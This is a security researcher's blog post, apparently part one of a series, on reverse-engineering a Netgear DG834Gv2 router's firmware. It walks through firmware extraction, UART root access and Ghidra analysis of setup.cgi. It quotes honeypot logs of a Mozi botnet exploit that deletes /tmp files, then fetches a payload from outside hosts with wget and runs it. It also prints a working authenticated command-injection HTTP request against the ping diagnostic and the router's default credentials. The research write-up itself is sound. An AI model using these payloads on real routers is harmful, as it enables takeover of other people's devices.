B7: Looking into routeur Netgear DG834Gv2 - part 1
Hello everyone i’m back for a new series of articles that this time will not only talk about Web security. In parallel of my web projects, I am currently interested in reverse engineering and binary exploitation. I began to teach myself about the subject by reading the books:
- The Shellcoder’s Handbook
- Understanding the Linux Kernel, 2nd Edition
- Linux Device Drivers, 2nd Edition
And by carrying out the various exercises proposed within the virtual machines of exploit.education:
Introduction
Laluka introduced me to the idea of using a super simple honeypot coded in Python to retrieve the paths exploited by bots on the internet. I looked at the honeypot logs and got a path that comes up repeatedly.
Example:
$ cat http_server.log | grep -m4 setup.cgi
/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://123.4.213.87:42597/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1
/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://123.4.88.169:58478/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1
/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://163.125.232.235:39983/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1
/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1
The string netgear.cfg
indicates that the exploited routers are Netgear
routers. That falls well, at my parents house I have an old Netgear router whose
model is DG834Gv2
(ADSL 54 Mbit/s router). I looked if there are known vulnerabilities on this
router and found Eloi Benoist-Vanderbeken’s article:
And a exploit-db.com exploit:
I summarize briefly, Eloi’s article shows the existence of a backdoor (listening on port 32764) in the router but the article seems to explain that the functioning of this one have been identified using a fuzzing technique:
Let’s bruteforce them! (slide 20)
And the one from exploit-db explains that it is possible to bypass the
authentication by specifying currentsetting.htm=1
in the query string, which
allows the attacker to reach admin pages.
So I say to myself, perfect, would I be able to at least find the same vulnerabilities but in another way, and why not find new ones.
Action plan
I work in parallel on a connected camera where I found a UART serial port, which allowed me to debug my actions. So, it may be interesting to look for such a port on our router.
Once disassembled, it is on the JP603 connectors that we can identify the presence of a UART serial port (it is to be noted that the headers have been soldered by me and are not present on the router by default).
Using the Bus Pirate v3.6 with the configurations visible on the figure below we are able to get a root shell on the router without authentication. This will be useful later to debug our actions more easily.
You can observe the output of the boot process in boot.log.
Now we also need to recover the router firmware. By chance the three existing versions of the firmware are available for download on the Netgear website.
Firmwares:
Our battle plan is to start from the oldest existing version and try to find bugs and identify if these bugs are present in the new versions. Then look for new bugs on the versions above and so on.
Firmware version v1.05.00
So we take our freshly downloaded archive “v1.05.00.zip” and decompress it using
unzip
.
$ unzip v1.05.00.zip
Archive: v1.05.00.zip
extracting: dg834_g_v1_05_00.zip
inflating: ReleaseNotes_DG834v1_fw_1.05.00.html
Then we decompress the file “dg834_g_v1_05_00.zip” using unzip
.
$ unzip dg834_g_v1_05_00.zip
Archive: dg834_g_v1_05_00.zip
inflating: DG834(G)_V1.05.00.img
inflating: DG834(G) 1.05.00 Release Notes.pdf
inflating: GPL and LGPL Compliance Notice.txt
Then we use binwalk to identify what the “DG834(G)_V1.05.00.img” file contains.
$ binwalk "DG834(G)_V1.05.00.img"
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
56532 0xDCD4 Copyright string: "Copyright 1996-2003 Texas Instruments Inc. All Rights Reserved."
56604 0xDD1C Copyright string: "Copyright 2003 Telogy Networks, Inc."
138492 0x21CFC Copyright string: "Copyright (C) 2003 Texas Instruments Incorporated; Copyright (C) 1999-2003 Igor Pavlov."
138543 0x21D2F Copyright string: "Copyright (C) 1999-2003 Igor Pavlov."
851968 0xD0000 Squashfs filesystem, little endian, version 1.0, size: 2363300 bytes, 835 inodes, blocksize: -32768 bytes, created: 2004-06-29 08:20:26
4063154 0x3DFFB2 Sercomm firmware signature, version control: 0, download control: 0, hardware ID: "DG834", hardware version: 0x4100, firmware version: 0x0, starting code segment: 0x0, code size: 0x7300
This allows us to identify the presence of a Squashfs filesystem at the offset
0xD0000
. Using the “-e” option of binwalk
, we get the file system extracted
to the “./_DG834(G)_V1.05.00.img.extracted/squashfs-root” folder:
$ ls "_DG834(G)_V1.05.00.img.extracted/squashfs-root"
bin dev etc lib proc sbin tmp usr var www www.deu www.eng www.fre www.ita
Let’s list all the binaries present on the router:
$ find . -type f -exec file {} \; | grep executable
./usr/sbin/atmarp: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/brctl: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/ez-ipupdate: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/pppoe: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/crond: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/zebra: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/setup.cgi: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/udhcpd: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/br2684ctl: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/smtpc: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/restore_config.cgi: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/wifi_watchdog: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, not stripped
./usr/sbin/wizard: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/fw-scripts/dos: POSIX shell script text executable, ASCII text
./usr/sbin/fw-scripts/msn: POSIX shell script text executable, ASCII text
./usr/sbin/fw-scripts/algs: POSIX shell script text executable, ASCII text
./usr/sbin/fw-scripts/cfilter: POSIX shell script text executable, ASCII text
./usr/sbin/fw-scripts/firewall: POSIX shell script text executable, ASCII text
./usr/sbin/fw-scripts/rping: POSIX shell script text executable, ASCII text
./usr/sbin/fw-scripts/dmz: POSIX shell script text executable, ASCII text
./usr/sbin/fw-scripts/rcontrol: POSIX shell script text executable, ASCII text
./usr/sbin/reaim: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/dproxy: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/cmd_agent_ap: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/atm_monitor: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/nocache.cgi: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/utelnetd: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/pb_ap: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/scfgmgr: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/atmarpd: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/iptables: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/nvram: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/netgear_ntp: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/pppd: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/mini_httpd: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/rc: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/user_drv: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/nbtscan: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/ripd: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/upnpd: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/etc/udhcpc.wizard.script: POSIX shell script text executable, ASCII text
./usr/etc/udhcpc.script: POSIX shell script text executable, ASCII text
./usr/etc/udhcpc.fix.script: POSIX shell script text executable, ASCII text
./usr/etc/ppp/ip-up: POSIX shell script text executable, ASCII text
./usr/etc/ppp/ip-up-demand: POSIX shell script text executable, ASCII text
./usr/etc/ppp/ip-down: POSIX shell script text executable, ASCII text
./usr/etc/rcS: POSIX shell script text executable, ASCII text
./bin/busybox: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./sbin/syslogd: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
This allows us to identify several things:
- The binaries are compiled to run on an mipsel little endian architecture (ELF 32-bit LSB executable, MIPS).
- The following CGI are executed when they are requested via the web server
/usr/sbin/mini_httpd
:/usr/sbin/setup.cgi
(CGI script requested by bots)/usr/sbin/restore_config.cgi
/usr/sbin/nocache.cgi
Moreover the /bin/busybox
binary is present and it embeds the following
binaries:
- ash, cat, chmod, cp, dd, dmesg, echo, egrep, false, free, grep, ifconfig, init, insmod, kill, killall, ln, ls, lsmod, mkdir, modprobe, more, mount, mv, ping, ps, reboot, rm, rmmod, route, sh, sleep, test, touch, true, umount
So already a very important point, the payload used by bots can not be effective
against this router or at least against this firmware version since the wget
binary is not present on the file system. So to my knowledge, and I confess not
to have searched much, the only known bug exploitable on this router is the one
found by Eloi.
Let’s connect to the administrator interface of the router with the following default identifiers, to look for bugs:
- Username: admin
- Password: password
Which once encoded in base64 will allow us to authenticate ourselves for all future requests.
The whole router seems manageable from the CGI script setup.cgi
then let’s
reverse it with Ghidra.
Command injection in the diagnostic functionality ping (post-auth)
Looking into /usr/sbin/setup.cgi
with Ghidra
After a little research, you will soon find something obvious. The
FUN_00405aa4
function seems to create a string that looks very much like a
bash command based on parameters that seem controllable by a user:
Let’s see what the function myPipe
does:
So we have a call to popen
with potentially a parameter controlled by the user
which results directly in a command injection.
After a few seconds of searching we realize that the router offers diagnostic functions.
Let’s try to inject a command:
After trying different payloads:
- ; ls
- && echo HIT
- || sleep 5
- …
I realize that no one does seem to pass. That’s when I decided to use the
complete path of the binary busybox
:
It works, let’s try to understand why it didn’t work by making a direct call to
echo
or ls
. Using the following HTTP POST request:
POST /setup.cgi HTTP/1.1
Host: 10.X.X.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 221
Origin: http://10.X.X.1
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Connection: close
Referer: http://10.X.X.1/setup.cgi?next_file=diag.htm&todo=cfg_init
Upgrade-Insecure-Requests: 1
IPAddr1=127&IPAddr2=0&IPAddr3=0&IPAddr4=1&ping=Ping&todo=ping_test&this_file=diag.htm&next_file=diagping.htm&c4_IPAddr=127.0.0.1 %26%26 /bin/busybox echo $(pwd) >> /tmp/output %26%26 /bin/busybox echo $PATH >> /tmp/output
We obtain the following results:
$(pwd)
=/www.eng
$PATH
=./
It is therefore the environment variable $PATH
that forces us to use the
absolute path of the binaries to call them. The myPipe
function is called at
different places in the binary but we are for the rest of the calls not able to
control its parameters.
It should be noted that this is also exploitable via an HTTP GET request:
In the next part of this article we will see another way to execute commands on the router.